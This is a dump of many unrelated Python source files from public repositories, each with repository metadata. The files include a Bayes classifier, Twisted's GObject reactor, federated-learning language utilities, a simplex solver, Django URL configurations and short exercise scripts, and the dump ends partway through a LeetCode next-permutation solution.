ac30ba60a8ca7582effac94ead627f85ddf977c0 | 4eddf6a34715752dc652571b1ab274f51ceb5da0 | /Bayes Classification/.history/Bayes_main_20210428162403.py | fe9dc422ef038bea4328c618c7e6c8136a840ae0 | []
| no_license | Suelt/Hust-SE-introduction-to-ML | 649aba0e5b41363ceac03330ef02982982a0615d | a66785c3085da573f5748d13608eabf02e616321 | refs/heads/master | 2023-05-27T13:13:41.058545 | 2021-06-10T05:44:02 | 2021-06-10T05:44:02 | 375,582,438 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,156 | py | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn import model_selection
credit = pd.read_csv("C:\\pyproject\\Bayes Classification\\transformed.csv")
y = credit['credit_risk']
X = credit.loc[:,'status':'foreign_worker']
X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.3, random_state=1)
cols = ['status','duration','credit_history', 'purpose','amount','savings', 'employment_duration','installment_rate', 'personal_status_sex', 'other_debtors',
'present_residence','property','age','other_installment_plans','housing','number_credits','job','people_liable','telephone','foreign_worker']
train=credit.loc[y_train.index]
train_good=train.loc[train['credit_risk']=='good']
length_good=train_good.shape[0]
train_bad=train.loc[train['credit_risk']=='bad']
length_bad=train_bad.shape[0]
dict_main_true={}
dict_main_false={}
for col in cols:
dict_main_true[col]={}
dict_main_false[col]={}
#ๆปก่ถณP(Xij|yk)็ไธชๆฐ
number_value=0
#ๆปก่ถณP(Xij|yk)็ๆฆ็
rate=0
cols.remove('duration')
cols.remove('amount')
cols.remove('age')
# print(cols)
for col in cols:
dict_new_good={}
dict_new_bad={}
values =train_good[col].value_counts().keys().tolist()
for value in values:
number_value=train_good[col].value_counts()[value]
rate=number_value/length_good
dict_new_good[value]=rate
number_value=train_bad[col].value_counts()[value]
rate=number_value/length_bad
dict_new_bad[value]=rate
dict_main_true[col]=dict_new_good
dict_main_false[col]=dict_new_bad
dict_gaussian={}
dict_gaussian['duration']={}
dict_gaussian['amount']={}
dict_gaussian['age']={}
for key in dict_gaussian:
dict_new={}
list_good=train_good[key]
arr_mean = np.mean(list_good)
arr_std = np.std(list_good,ddof=1)
dict_new['good']=[arr_mean,arr_std]
list_bad=train_bad[key]
arr_mean = np.mean(list_bad)
arr_std = np.std(list_bad,ddof=1)
dict_new['bad']=[arr_mean,arr_std]
dict_gaussian[key]=dict_new
print(X_test,y_test)
y=y_test
print(y)
# print(dict_main_true)
# print(dict_main_false)
| [
"[email protected]"
]
| |
e328b50030a57047e83da491475b3a082fcbf5c0 | b9dc028b6a62d681ef02f149efc903a182edcf13 | /week/6์ฃผ์ฐจ_์ ํ์ฌ๊ท์ ๋ฐ๋ณต/6-4.1.py | 461553338bed4291c6e206396a85073b33bca798 | []
| no_license | masiro97/Python | 0d1963867c5e6fec678d8b9d07afa6aa055305ed | 78ec468630110cdd850e5ecaab33e5cf5bde0395 | refs/heads/master | 2021-05-10T22:47:28.692417 | 2018-01-20T17:58:46 | 2018-01-20T17:58:46 | 118,267,178 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 161 | py | def power(b,n):
if n>0:
if n%2 ==0:
return power(b**2,n//2)
else:
return b * power(b,n-1)
else:
return 1
| [
"[email protected]"
]
| |
2db4950cce667880d8a89f0a16b27301c138bbad | 31009efe0b3882551f03dcaa9c71756c7c6f6ede | /src/main/resources/twisted/internet/gireactor.py | a7ada11c7385128a3d2c2f55a02998df86151f47 | [
"Apache-2.0",
"ZPL-2.0",
"MIT",
"LicenseRef-scancode-unknown-license-reference"
]
| permissive | riyafa/autobahntestsuite-maven-plugin | b533433c75f7daea2757158de54c6d80d304a962 | 737e6dad2d3ef794f30f0a2013a77e28decd2ec4 | refs/heads/master | 2020-08-16T13:31:39.349124 | 2019-10-16T09:20:55 | 2019-10-16T09:20:55 | 215,506,990 | 0 | 0 | Apache-2.0 | 2019-10-16T09:18:34 | 2019-10-16T09:18:34 | null | UTF-8 | Python | false | false | 6,123 | py | # Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This module provides support for Twisted to interact with the glib
mainloop via GObject Introspection.
In order to use this support, simply do the following::
from twisted.internet import gireactor
gireactor.install()
If you wish to use a GApplication, register it with the reactor::
from twisted.internet import reactor
reactor.registerGApplication(app)
Then use twisted.internet APIs as usual.
On Python 3, pygobject v3.4 or later is required.
"""
from __future__ import division, absolute_import
from twisted.python.compat import _PY3
from twisted.internet.error import ReactorAlreadyRunning
from twisted.internet import _glibbase
from twisted.python import runtime
if _PY3:
# We require a sufficiently new version of pygobject, so always exists:
_pygtkcompatPresent = True
else:
# We can't just try to import gi.pygtkcompat, because that would import
# gi, and the goal here is to not import gi in cases where that would
# cause segfault.
from twisted.python.modules import theSystemPath
_pygtkcompatPresent = True
try:
theSystemPath["gi.pygtkcompat"]
except KeyError:
_pygtkcompatPresent = False
# Modules that we want to ensure aren't imported if we're on older versions of
# GI:
_PYGTK_MODULES = ['gobject', 'glib', 'gio', 'gtk']
def _oldGiInit():
"""
Make sure pygtk and gi aren't loaded at the same time, and import Glib if
possible.
"""
# We can't immediately prevent imports, because that confuses some buggy
# code in gi:
_glibbase.ensureNotImported(
_PYGTK_MODULES,
"Introspected and static glib/gtk bindings must not be mixed; can't "
"import gireactor since pygtk2 module is already imported.")
global GLib
from gi.repository import GLib
if getattr(GLib, "threads_init", None) is not None:
GLib.threads_init()
_glibbase.ensureNotImported([], "",
preventImports=_PYGTK_MODULES)
if not _pygtkcompatPresent:
# Older versions of gi don't have compatability layer, so just enforce no
# imports of pygtk and gi at same time:
_oldGiInit()
else:
# Newer version of gi, so we can try to initialize compatibility layer; if
# real pygtk was already imported we'll get ImportError at this point
# rather than segfault, so unconditional import is fine.
import gi.pygtkcompat
gi.pygtkcompat.enable()
# At this point importing gobject will get you gi version, and importing
# e.g. gtk will either fail in non-segfaulty way or use gi version if user
# does gi.pygtkcompat.enable_gtk(). So, no need to prevent imports of
# old school pygtk modules.
from gi.repository import GLib
if getattr(GLib, "threads_init", None) is not None:
GLib.threads_init()
class GIReactor(_glibbase.GlibReactorBase):
"""
GObject-introspection event loop reactor.
@ivar _gapplication: A C{Gio.Application} instance that was registered
with C{registerGApplication}.
"""
_POLL_DISCONNECTED = (GLib.IOCondition.HUP | GLib.IOCondition.ERR |
GLib.IOCondition.NVAL)
_POLL_IN = GLib.IOCondition.IN
_POLL_OUT = GLib.IOCondition.OUT
# glib's iochannel sources won't tell us about any events that we haven't
# asked for, even if those events aren't sensible inputs to the poll()
# call.
INFLAGS = _POLL_IN | _POLL_DISCONNECTED
OUTFLAGS = _POLL_OUT | _POLL_DISCONNECTED
# By default no Application is registered:
_gapplication = None
def __init__(self, useGtk=False):
_gtk = None
if useGtk is True:
from gi.repository import Gtk as _gtk
_glibbase.GlibReactorBase.__init__(self, GLib, _gtk, useGtk=useGtk)
def registerGApplication(self, app):
"""
Register a C{Gio.Application} or C{Gtk.Application}, whose main loop
will be used instead of the default one.
We will C{hold} the application so it doesn't exit on its own. In
versions of C{python-gi} 3.2 and later, we exit the event loop using
the C{app.quit} method which overrides any holds. Older versions are
not supported.
"""
if self._gapplication is not None:
raise RuntimeError(
"Can't register more than one application instance.")
if self._started:
raise ReactorAlreadyRunning(
"Can't register application after reactor was started.")
if not hasattr(app, "quit"):
raise RuntimeError("Application registration is not supported in"
" versions of PyGObject prior to 3.2.")
self._gapplication = app
def run():
app.hold()
app.run(None)
self._run = run
self._crash = app.quit
class PortableGIReactor(_glibbase.PortableGlibReactorBase):
"""
Portable GObject Introspection event loop reactor.
"""
def __init__(self, useGtk=False):
_gtk = None
if useGtk is True:
from gi.repository import Gtk as _gtk
_glibbase.PortableGlibReactorBase.__init__(self, GLib, _gtk,
useGtk=useGtk)
def registerGApplication(self, app):
"""
Register a C{Gio.Application} or C{Gtk.Application}, whose main loop
will be used instead of the default one.
"""
raise NotImplementedError("GApplication is not currently supported on Windows.")
def install(useGtk=False):
"""
Configure the twisted mainloop to be run inside the glib mainloop.
@param useGtk: should GTK+ rather than glib event loop be
used (this will be slightly slower but does support GUI).
"""
if runtime.platform.getType() == 'posix':
reactor = GIReactor(useGtk=useGtk)
else:
reactor = PortableGIReactor(useGtk=useGtk)
from twisted.internet.main import installReactor
installReactor(reactor)
return reactor
__all__ = ['install']
| [
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]
| |
2cae4e3b0562f72541fbb29166ea5f6cf51778db | a336dcd58a1e425add4add54dd0640ce1829e2ba | /language_modeling/language_utils.py | 45463ef7377097b692feb461e34052e71368e06c | [
"MIT"
]
| permissive | ylsung/FedMA | 8d0b15bcecc98f87f8d1fe3283dadea38797fa3f | d80c22c0a464abcbc47346b9cbc0080a2556fa49 | refs/heads/master | 2022-04-12T20:31:53.064893 | 2020-04-03T15:33:27 | 2020-04-03T15:33:27 | 242,638,655 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,412 | py | # Modified from: https://github.com/litian96/FedProx/blob/master/flearn/utils/language_utils.py
# credit goes to: Tian Li (litian96 @ GitHub)
"""Utils for language models."""
import re
# ------------------------
# utils for shakespeare dataset
ALL_LETTERS = "\n !\"&'(),-.0123456789:;>?ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz}"
NUM_LETTERS = len(ALL_LETTERS)
def _one_hot(index, size):
'''returns one-hot vector with given size and value 1 at given index
'''
vec = [0 for _ in range(size)]
vec[int(index)] = 1
return vec
def letter_to_vec(letter):
'''returns one-hot representation of given letter
'''
index = ALL_LETTERS.find(letter)
return _one_hot(index, NUM_LETTERS)
def word_to_indices(word):
'''returns a list of character indices
Args:
word: string
Return:
indices: int list with length len(word)
'''
indices = []
for c in word:
indices.append(ALL_LETTERS.find(c))
return indices
# ------------------------
# utils for sent140 dataset
def split_line(line):
'''split given line/phrase into list of words
Args:
line: string representing phrase to be split
Return:
list of strings, with each string representing a word
'''
return re.findall(r"[\w']+|[.,!?;]", line)
def _word_to_index(word, indd):
'''returns index of given word based on given lookup dictionary
returns the length of the lookup dictionary if word not found
Args:
word: string
indd: dictionary with string words as keys and int indices as values
'''
if word in indd:
return indd[word]
else:
return len(indd)
def line_to_indices(line, word2id, max_words=25):
'''converts given phrase into list of word indices
if the phrase has more than max_words words, returns a list containing
indices of the first max_words words
if the phrase has less than max_words words, repeatedly appends integer
representing unknown index to returned list until the list's length is
max_words
Args:
line: string representing phrase/sequence of words
word2id: dictionary with string words as keys and int indices as values
max_words: maximum number of word indices in returned list
Return:
indl: list of word indices, one index for each word in phrase
'''
unk_id = len(word2id)
line_list = split_line(line) # split phrase in words
indl = [word2id[w] if w in word2id else unk_id for w in line_list[:max_words]]
indl += [unk_id]*(max_words-len(indl))
return indl
def bag_of_words(line, vocab):
'''returns bag of words representation of given phrase using given vocab
Args:
line: string representing phrase to be parsed
vocab: dictionary with words as keys and indices as values
Return:
integer list
'''
bag = [0]*len(vocab)
words = split_line(line)
for w in words:
if w in vocab:
bag[vocab[w]] += 1
return bag
def repackage_hidden(h):
"""Wraps hidden states in new Tensors, to detach them from their history."""
if isinstance(h, torch.Tensor):
return h.detach()
else:
return tuple(repackage_hidden(v) for v in h)
def process_x(raw_x_batch):
x_batch = [word_to_indices(word) for word in raw_x_batch]
x_batch = np.array(x_batch).T
return x_batch
def process_y(raw_y_batch):
y_batch = [letter_to_vec(c) for c in raw_y_batch]
return np.array(y_batch)
def patch_h_weights(weights, L_next, assignments):
# e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256)
def __permutate(weight, assignments, L_next):
new_w_j = np.zeros((L_next, L_next), dtype=np.float32)
new_w_j[np.ix_(assignments, assignments)] = weight # TODO(hwang): make sure if this is correct
return new_w_j
split_range = np.split(np.arange(weights.shape[0]), 4)
h_weights = []
for indices in split_range:
#logger.info("assignments: {}".format(assignments))
tempt_h_w = __permutate(weights[indices, :], assignments, L_next)
h_weights.append(tempt_h_w)
#logger.info("equal: {}".format(np.array_equal(tempt_h_w, weights[indices, :])))
return np.vstack(h_weights)
def patch_biases(biases, L_next, assignments):
# e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256)
def __permutate(bias, assignments, L_next):
new_w_j = np.zeros(L_next)
new_w_j[assignments] = bias
return new_w_j
splitted_bias = np.split(biases, 4)
h_bias = [__permutate(sb, assignments, L_next) for sb in splitted_bias]
return np.hstack(h_bias)
def perm_i_weights(w_j, L_next, assignment_j_c):
split_range = np.split(np.arange(w_j.shape[0]), 4)
res = []
for i in range(4):
cand_w_j = w_j[split_range[i], :]
temp_new_w_j = np.zeros((L_next, w_j.shape[1]))
temp_new_w_j[assignment_j_c, :] = cand_w_j
res.append(temp_new_w_j)
return np.vstack(res)
def patch_i_weights(weights, L_next, assignments):
# e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256)
def __permutate(weight, assignments, L_next):
new_w_j = np.zeros((L_next, L_next), dtype=np.float32)
new_w_j[np.ix_(assignments, assignments)] = weight # TODO(hwang): make sure if this is correct
return new_w_j
split_range = np.split(np.arange(weights.shape[0]), 4)
h_weights = [__permutate(weights[indices, :], assignments, L_next) for indices in split_range]
return np.hstack(h_weights).T
def patch_i_biases(biases, L_next, assignments):
# e.g. (1024, 256) comes from (256,256)|(256,256)|(256,256)|(256,256)
def __permutate(bias, assignments, L_next):
new_w_j = np.zeros(L_next, dtype=np.float32)
new_w_j[assignments] = bias
return new_w_j
splitted_bias = np.split(biases, 4)
h_bias = [__permutate(sb, assignments, L_next) for sb in splitted_bias]
return np.hstack(h_bias)
def perm_i_weights(w_j, L_next, assignment_j_c):
split_range = np.split(np.arange(w_j.shape[0]), 4)
res = []
for i in range(4):
cand_w_j = w_j[split_range[i], :]
temp_new_w_j = np.zeros((L_next, w_j.shape[1]))
temp_new_w_j[assignment_j_c, :] = cand_w_j
res.append(temp_new_w_j)
return np.vstack(res) | [
"[email protected]"
]
| |
32ac5a7d72b76f113a77fc4d6eca2a230f2d9f1a | bd6fd6bb82bf3179a4571c7a2ca3a030f5684c5c | /mundo3-EstruturasCompostas/096-funcaoQueCalculaArea.py | a37552e17727565abb68b53d43e8027d78f1f497 | [
"MIT"
]
| permissive | jonasht/CursoEmVideo-CursoDePython3 | b3e70cea1df9f33f409c4c680761abe5e7b9e739 | a1bbf1fe4226b1828213742ee5a440278d903fd1 | refs/heads/master | 2023-08-27T12:12:38.103023 | 2021-10-29T19:05:01 | 2021-10-29T19:05:01 | 276,724,139 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 315 | py |
def calcularArea(largura, comprimento):
return largura * comprimento
print('=-'*30+'=')
largura = float(input('qual รฉ a largura: '))
comprimento = float(input('qual รฉ o comprimento: '))
resposta = calcularArea(largura, comprimento)
print(f'a area do terreno {largura}X{comprimento} รฉ de {resposta}mยฒ')
| [
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]
| |
a7be00b6b8cb3f71f680f3dd9f899fc55ee28faf | 40b6aa99da5b96a382a04b818b558b66c47f5a96 | /projects/serializers.py | 070927afeb267f7413d593453aa2dd3a1c9d1dec | [
"BSD-3-Clause"
]
| permissive | LABETE/TestYourProject | 8bba87004227005edf6b7e9cfb1b3e496441bc7b | 416d5e7993343e42f031e48f4d78e5332d698519 | refs/heads/master | 2021-01-10T18:47:29.581371 | 2015-09-03T16:48:05 | 2015-09-03T16:48:05 | 37,154,071 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 437 | py | from rest_framework import serializers
from .models import Project
class ProjectSerializer(serializers.ModelSerializer):
"""ProjectSerializer use the Project Model"""
class Meta:
model = Project
# Fields displayed on the rest api for projects
fields = (
"id", "name", "owner", "description",
"start_date", "end_date", "created", "modified",
"co_owners", "status",)
| [
"[email protected]"
]
| |
dc228204221f9999a303f9408c676717036ef6e4 | 54934cfe32ce5aa5c2e718b0c5c2afa4b458fe75 | /29ch/simplex.py | 59b4470baf756d0125074792e5d87eb8135a1b62 | []
| no_license | mccarvik/intro_to_algorithms | 46d0ecd20cc93445e0073eb0041d481a29322e82 | c2d41706150d2bb477220b6f929510c4fc4ba30b | refs/heads/master | 2021-04-12T12:25:14.083434 | 2019-11-09T05:26:28 | 2019-11-09T05:26:28 | 94,552,252 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,014 | py | import numpy as np
from fractions import Fraction # so that numbers are not displayed in decimal.
print("\n ****SiMplex Algorithm ****\n\n")
# inputs
# A will contain the coefficients of the constraints
A = np.array([[1, 1, 0, 1], [2, 1, 1, 0]])
# b will contain the amount of resources
b = np.array([8, 10])
# c will contain coefficients of objective function Z
c = np.array([1, 1, 0, 0])
# B will contain the basic variables that make identity matrix
cb = np.array(c[3])
B = np.array([[3], [2]])
# cb contains their corresponding coefficients in Z
cb = np.vstack((cb, c[2]))
xb = np.transpose([b])
# combine matrices B and cb
table = np.hstack((B, cb))
table = np.hstack((table, xb))
# combine matrices B, cb and xb
# finally combine matrix A to form the complete simplex table
table = np.hstack((table, A))
# change the type of table to float
table = np.array(table, dtype ='float')
# inputs end
# if min problem, make this var 1
MIN = 0
print("Table at itr = 0")
print("B \tCB \tXB \ty1 \ty2 \ty3 \ty4")
for row in table:
for el in row:
# limit the denominator under 100
print(Fraction(str(el)).limit_denominator(100), end ='\t')
print()
print()
print("Simplex Working....")
# when optimality reached it will be made 1
reached = 0
itr = 1
unbounded = 0
alternate = 0
while reached == 0:
print("Iteration: ", end =' ')
print(itr)
print("B \tCB \tXB \ty1 \ty2 \ty3 \ty4")
for row in table:
for el in row:
print(Fraction(str(el)).limit_denominator(100), end ='\t')
print()
# calculate Relative profits-> cj - zj for non-basics
i = 0
rel_prof = []
while i<len(A[0]):
rel_prof.append(c[i] - np.sum(table[:, 1]*table[:, 3 + i]))
i = i + 1
print("rel profit: ", end =" ")
for profit in rel_prof:
print(Fraction(str(profit)).limit_denominator(100), end =", ")
print()
i = 0
b_var = table[:, 0]
# checking for alternate solution
while i<len(A[0]):
j = 0
present = 0
while j<len(b_var):
if int(b_var[j]) == i:
present = 1
break;
j+= 1
if present == 0:
if rel_prof[i] == 0:
alternate = 1
print("Case of Alternate found")
# print(i, end =" ")
i+= 1
print()
flag = 0
for profit in rel_prof:
if profit>0:
flag = 1
break
# if all relative profits <= 0
if flag == 0:
print("All profits are <= 0, optimality reached")
reached = 1
break
# kth var will enter the basis
k = rel_prof.index(max(rel_prof))
min = 99999
i = 0;
r = -1
# min ratio test (only positive values)
while i<len(table):
if (table[:, 2][i]>0 and table[:, 3 + k][i]>0):
val = table[:, 2][i]/table[:, 3 + k][i]
if val<min:
min = val
r = i # leaving variable
i+= 1
# if no min ratio test was performed
if r ==-1:
unbounded = 1
print("Case of Unbounded")
break
print("pivot element index:", end =' ')
print(np.array([r, 3 + k]))
pivot = table[r][3 + k]
print("pivot element: ", end =" ")
print(Fraction(pivot).limit_denominator(100))
# perform row operations
# divide the pivot row with the pivot element
table[r, 2:len(table[0])] = table[
r, 2:len(table[0])] / pivot
# do row operation on other rows
i = 0
while i<len(table):
if i != r:
table[i, 2:len(table[0])] = table[i, 2:len(table[0])] - table[i][3 + k] * table[r, 2:len(table[0])]
i += 1
# assign the new basic variable
table[r][0] = k
table[r][1] = c[r]
print()
print()
itr+= 1
print()
print("***************************************************************")
if unbounded == 1:
print("UNBOUNDED LPP")
exit()
if alternate == 1:
print("ALTERNATE Solution")
print("optimal table:")
print("B \tCB \tXB \ty1 \ty2 \ty3 \ty4")
for row in table:
for el in row:
print(Fraction(str(el)).limit_denominator(100), end ='\t')
print()
print()
print("value of Z at optimality: ", end =" ")
basis = []
i = 0
sum = 0
while i<len(table):
sum += c[int(table[i][0])]*table[i][2]
temp = "x"+str(int(table[i][0])+1)
basis.append(temp)
i+= 1
# if MIN problem make z negative
if MIN == 1:
print(-Fraction(str(sum)).limit_denominator(100))
else:
print(Fraction(str(sum)).limit_denominator(100))
print("Final Basis: ", end =" ")
print(basis)
print("Simplex Finished...")
print() | [
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]
| |
c16d82720ec1b8fe3e203367af944e196afff6e1 | a829617f9ad158df80a569dd02a99c53639fa2c6 | /test/hep/hist/plotscatter1.py | 481bd4af3c75beb1b29ae31a8343f51318ba9f68 | []
| no_license | alexhsamuel/pyhep | 6db5edd03522553c54c8745a0e7fe98d96d2b7ae | c685756e9065a230e2e84c311a1c89239c5d94de | refs/heads/master | 2021-01-10T14:24:08.648081 | 2015-10-22T13:18:50 | 2015-10-22T13:18:50 | 44,745,881 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,188 | py | #-----------------------------------------------------------------------
# imports
#-----------------------------------------------------------------------
from hep.draw import *
import hep.draw.postscript
import hep.draw.xwindow
import hep.hist
import hep.hist.plot
from random import random
import sys
#-----------------------------------------------------------------------
# tests
#-----------------------------------------------------------------------
scatter = hep.hist.Scatter((float, "mass", "GeV/$c^2$"),
(float, "momentum", "GeV/$c$"))
for i in range(200):
x = random() * 2
y = random() + random() + random() + random() - 2
scatter << (x, y)
layout = GridLayout(2, 1, aspect=1)
plot = hep.hist.plot.Plot(2, overflows=False,
marker="*", marker_size=5 * point)
plot.append(scatter)
layout[0, 0] = plot
plot = hep.hist.plot.Plot(2)
plot.append(scatter, overflows=True, x_range=(0, 1.8), y_range=(-1, 1))
layout[1, 0] = plot
hep.draw.postscript.PSFile("plotscatter1.ps").render(layout)
window = hep.draw.xwindow.FigureWindow(layout, (0.23, 0.1))
if len(sys.argv) > 1:
raw_input("hit enter to end: ")
| [
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]
| |
337698bb08445f1bf0fb45fe6a2517906a80dd0b | b6452f95624c7f251f80a7803880b992f5b9332e | /toppings.py | 9e78ab7e5c97f71f10cdf5d00ad85bfd4834ed77 | []
| no_license | jimmy-kyalo/python_tutorials | 4a1cb8f0338718297deffeeefff9873eb5399571 | c310f615a84a42d4d978d300eb18422acb4e62f6 | refs/heads/master | 2023-03-06T15:38:57.413857 | 2021-02-21T12:32:29 | 2021-02-21T12:32:29 | 340,896,994 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 119 | py | # checking for inequality
requested_topping = 'mushrooms'
if requested_topping != 'cheese':
print("Hold the cheese!") | [
"[email protected]"
]
| |
d2823e6997c2111264e3da0f80476e590dfddc56 | 14744766d01d6719097fa6d2b0a9db42226c114b | /mysite/mysite/urls.py | 2700207fc7d9c265b503210e668e09142c8f1569 | []
| no_license | jakiiii/Django-2-by-Example | 8f491a23b7c45ef71a866622ec45dab9909ad212 | 6b3c68b7d54b6c763bba30be5c8b48d257cd97f5 | refs/heads/master | 2023-03-10T00:09:37.688697 | 2021-02-26T19:27:24 | 2021-02-26T19:27:24 | 342,679,630 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,033 | py | """mysite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.contrib.sitemaps.views import sitemap
from blog.sitemaps import PostSitemap
sitemaps = {
'posts': PostSitemap
}
urlpatterns = [
path('admin/', admin.site.urls),
path('blog/', include('blog.urls')),
# path('sitemap.xml', sitemap, {'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap')
]
| [
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]
| |
90f95244f05c1263c0d096e6db8ca9eb041850be | 3ee0c019a7b10a7a78dfc07d61da5d2b3cf3ad27 | /190808/10815_num_card.py | b0e15f15f74903dcf0fac31456922a98aaf35c0b | []
| no_license | JiminLee411/algorithms | a32ebc9bb2ba4f68e7f80400a7bc26fd1c3a39c7 | 235834d1a50d5054f064bc248a066cb51c0835f5 | refs/heads/master | 2020-06-27T01:37:55.390510 | 2019-11-14T08:57:16 | 2019-11-14T08:57:16 | 199,811,134 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 295 | py | import sys
sys.stdin = open('10815_input.txt', 'r')
M = int(input())
my = list(map(int, input().split()))
N = int(input())
value = list(map(int, input().split()))
comp = ['0' for _ in range(N)]
for i in range(N):
if value[i] in my:
comp[i] = '1'
res = ' '.join(comp)
print(res)
| [
"[email protected]"
]
| |
775de92b67b22c79f8edaac2f60a42285e0b6576 | f942f82fb1b9c2eb0c4cf03ca2254f4207fd08d2 | /Products/urls.py | b5a99b7be68470e2ae719e7f66d3f28dde8ef522 | []
| no_license | mahdy-world/Fatoma-Restaurant | 2b6aec149c20d5526d5d7a505479cc29c811d666 | a500397741e72d0cf28dbb8f64c914144835d6c2 | refs/heads/master | 2023-06-27T19:27:35.606292 | 2021-07-31T13:53:18 | 2021-07-31T13:53:18 | 391,366,717 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,985 | py | from .views import *
from django.urls import path
app_name = 'Products'
urlpatterns = [
path('main_categories/', MainCategoryList.as_view(), name='MainCategoryList'),
path('main_categories/new/', MainCategoryCreate.as_view(), name='MainCategoryCreate'),
path('main_categories/trash/', MainCategoryTrashList.as_view(), name='MainCategoryTrashList'),
path('main_categories/<int:pk>/edit/', MainCategoryUpdate.as_view(), name='MainCategoryUpdate'),
path('main_categories/<int:pk>/delete/', MainCategoryDelete.as_view(), name='MainCategoryDelete'),
path('main_categories/xls', MainCategoryXls , name='MainCategoryXls'),
path('sub_categories/', SubCategoryList.as_view(), name='SubCategoryList'),
path('sub_categories/new/', SubCategoryCreate.as_view(), name='SubCategoryCreate'),
path('sub_categories/trash/', SubCategoryTrashList.as_view(), name='SubCategoryTrashList'),
path('sub_categories/<int:pk>/edit/', SubCategoryUpdate.as_view(), name='SubCategoryUpdate'),
path('sub_categories/<int:pk>/delete/', SubCategoryDelete.as_view(), name='SubCategoryDelete'),
path('sub_categories/xls', SubCategoryXls , name='SubCategoryXls'),
path('manufactures/', ManufactureList.as_view(), name='ManufactureList'),
path('manufactures/new/', ManufactureCreate.as_view(), name='ManufactureCreate'),
path('manufactures/trash/', ManufactureTrashList.as_view(), name='ManufactureTrashList'),
path('manufactures/<int:pk>/edit/', ManufactureUpdate.as_view(), name='ManufactureUpdate'),
path('manufactures/<int:pk>/delete/', ManufactureDelete.as_view(), name='ManufactureDelete'),
path('manufactures/xls', ManufactureXls , name='ManufactureXls'),
path('brands/', BrandList.as_view(), name='BrandList'),
path('brands/new/', BrandCreate.as_view(), name='BrandCreate'),
path('brands/trash/', BrandTrashList.as_view(), name='BrandTrashList'),
path('brands/<int:pk>/edit/', BrandUpdate.as_view(), name='BrandUpdate'),
path('brands/<int:pk>/delete/', BrandDelete.as_view(), name='BrandDelete'),
path('brands/xls', BrandXls , name='BrandXls'),
path('units/', UnitList.as_view(), name='UnitList'),
path('units/new/', UnitCreate.as_view(), name='UnitCreate'),
path('units/<int:pk>/edit/', UnitUpdate.as_view(), name='UnitUpdate'),
path('units/<int:pk>/delete/', UnitDelete.as_view(), name='UnitDelete'),
path('products/', ProductList.as_view(), name='ProductList'),
path('products/new/', ProductCreate.as_view(), name='ProductCreate'),
path('products/trash/', ProductTrashList.as_view(), name='ProductTrashList'),
path('products/<int:pk>/edit/', ProductUpdate.as_view(), name='ProductUpdate'),
path('products/<int:pk>/delete/', ProductDelete.as_view(), name='ProductDelete'),
path('products/<int:pk>/show/', ProductCard.as_view(), name='ProductCard'),
path('products/<int:pk>/add_content/', GroupedProductCreate.as_view(), name='GroupedProductCreate'),
path('product/xls', ProductXls, name='ProductXls'),
path('grouped_product/<int:pk>/edit/', GroupedProductUpdate.as_view(), name='GroupedProductUpdate'),
path('grouped_product/<int:pk>/delete/', GroupedProductDelete, name='GroupedProductDelete'),
path('taxes/', TaxesList.as_view(), name='TaxesList'),
path('tax/new/', TaxCreate.as_view(), name='TaxCreate'),
path('tax/<int:pk>/edit/', TaxUpdate.as_view(), name='TaxUpdate'),
path('tax/delete/<int:id>/', TaxDelete , name='TaxDelete'),
path('tax/xls', TaxXls , name='TaxXls'),
path('prices_product/<int:pk>/<int:ppk>/edit/', PricesProductUpdate.as_view(), name='PricesProductUpdate'),
path('prices_product/<int:pk>/<int:ppk>/delete/', PricesProductDelete.as_view(), name='PricesProductDelete'),
path('prices_product/<int:pk>/<int:ppk>/stop/', PricesProductStop.as_view(), name='PricesProductStop'),
path('prices_product/<int:pk>/<int:ppk>/active/', PricesProductActive.as_view(), name='PricesProductActive'),
]
| [
"[email protected]"
]
| |
9f8ce2a8babfebf2df4043994027fbb07c66730e | 303d61b95651407951af11224df32a6b2c54ee0a | /medium/Next_Permutation.py | fc77b475ef0b932927fcfe83d9ff98e16b4db50f | []
| no_license | junghyun4425/myleetcode | 6e621e8f1641fb8e55fe7063b563d0cec20373a6 | f0ad1e671de99574e00b4e78391d001677d60d82 | refs/heads/master | 2023-07-22T12:27:23.487909 | 2021-08-24T10:01:49 | 2021-08-24T10:01:49 | 317,727,586 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,776 | py | # Problem Link: https://leetcode.com/problems/next-permutation/
'''
๋ฌธ์ ์์ฝ: ์์ด ๋ค์์ ๋์ฌ ์์์ ์กฐํฉ์ ์์ฑํ๋ ๋ฌธ์ .
ask: [4,5,3,2,1]
answer: [5,1,2,3,4]
ํด์:
์์ด์ด ๋ง๋ค์ด์ง๋ ๋ด๋ถ ์๊ณ ๋ฆฌ์ฆ์ ์ ํํ ํ์
ํ ์ ์๋๊ฐ์ ๋ํ ๋ฌธ์ . ์ด๋ถ๋ถ์ ๋ชจ๋ฅธ๋ค๋ฉด ๋์ด๋๋ hard๋ผ ๋ณผ์ ์์. (๊ตฌํ ์์ฒด๋ ์ด๋ ค์์ด ์์ผ๋ฏ๋ก)
